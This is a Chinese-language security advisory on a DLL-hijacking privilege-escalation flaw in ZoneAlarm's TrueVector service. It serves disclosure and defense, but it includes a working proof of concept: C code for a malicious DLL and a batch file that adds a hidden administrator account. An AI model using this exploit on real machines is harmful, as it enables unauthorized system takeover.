安全研究

安全漏洞
ZoneAlarm安全组件权限提升漏洞

发布日期:2006-03-08
更新日期:2006-03-08

受影响系统:
Zone Labs ZoneAlarm Security Suite build 6.1.744.000
描述:
BUGTRAQ  ID: 17037

ZoneAlarm是一款个人电脑防火墙,能保护个人数据和隐私安全。

ZoneAlarm的TrueVector服务在启动加载DLL时存在问题,攻击者可能利用此漏洞在主机上执行权限提升攻击。

在Windows启动过程中ZoneAlarm的TrueVector服务(vsmon.exe)被设置为自动启动。TrueVector服务是以本地系统帐号权限运行的,在启动过程中会试图加载以下几个DLL:

- VSUTIL_Loc0409_Oem8701.dll
- VSUTIL_Oem8701.dll
- VSUTIL_Loc0409.dll
- vsmon_Loc0409_Oem8701.dll
- vsmon_Oem8701.dll
- vsmon_Loc0409.dll
- VSRULEDB_Loc0409_Oem8701.dll
- VSRULEDB_Oem8701.dll
- VSRULEDB_Loc0409.dll
- av_Loc0409_Oem8701.dll
- av_Oem8701.dll
- av_Loc0409.dll
- zlquarantine_Loc0409_Oem8701.dll
- zlquarantine_Oem8701.dll
- zlquarantine_Loc0409.dll
- zlsre_Loc0409_Oem8701.dll
- zlsre_Oem8701.dll
- zlsre_Loc0409.dll

在加载进程过程中没有使用到DLL的完整路径,而仅使用了DLL的名称,这可能导致vsmon.exe进程权限提升。

<*来源:Reed Arvin (reedarvin@gmail.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=114185978604928&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

// ===== Start Magic.c ======
// Build Instructions
//
// gcc -c -DBUILD_DLL magic.c
// gcc -shared -o magic.dll -W1,--out-implib,libkernel32.a magic.o

#include <windows.h>

VOID RunMagicBatFile( VOID );

BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved )
{
    BOOLEAN bSuccess = TRUE;

    switch ( fdwReason )
    {
        case DLL_PROCESS_ATTACH:
            RunMagicBatFile();

            break;

        case DLL_THREAD_ATTACH:

            break;

        case DLL_THREAD_DETACH:

            break;

        case DLL_PROCESS_DETACH:

            break;
    }

    return bSuccess;
}

VOID RunMagicBatFile()
{
    TCHAR  szWinDir[ _MAX_PATH ];
    TCHAR szCmdLine[ _MAX_PATH ];

    STARTUPINFO         si;
    PROCESS_INFORMATION pi;

    GetEnvironmentVariable( "WINDIR", szWinDir, _MAX_PATH );

    wsprintf( szCmdLine, "%s\\system32\\cmd.exe /c magic.bat", szWinDir );

    ZeroMemory( &si, sizeof( si ) );

    si.cb = sizeof( si );

    ZeroMemory( &pi, sizeof( pi ) );

    CreateProcess( NULL, szCmdLine, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi );

    CloseHandle( pi.hProcess );
    CloseHandle( pi.hThread );
}
// ===== End Magic.c ======


// ===== Start Magic.bat ======
net user Magic M@g1c$$ /add
net localgroup Administrators Magic /add
// ===== End Magic.bat ======

建议:
厂商补丁:

Zone Labs
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.zonelabs.com

浏览次数:3172
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障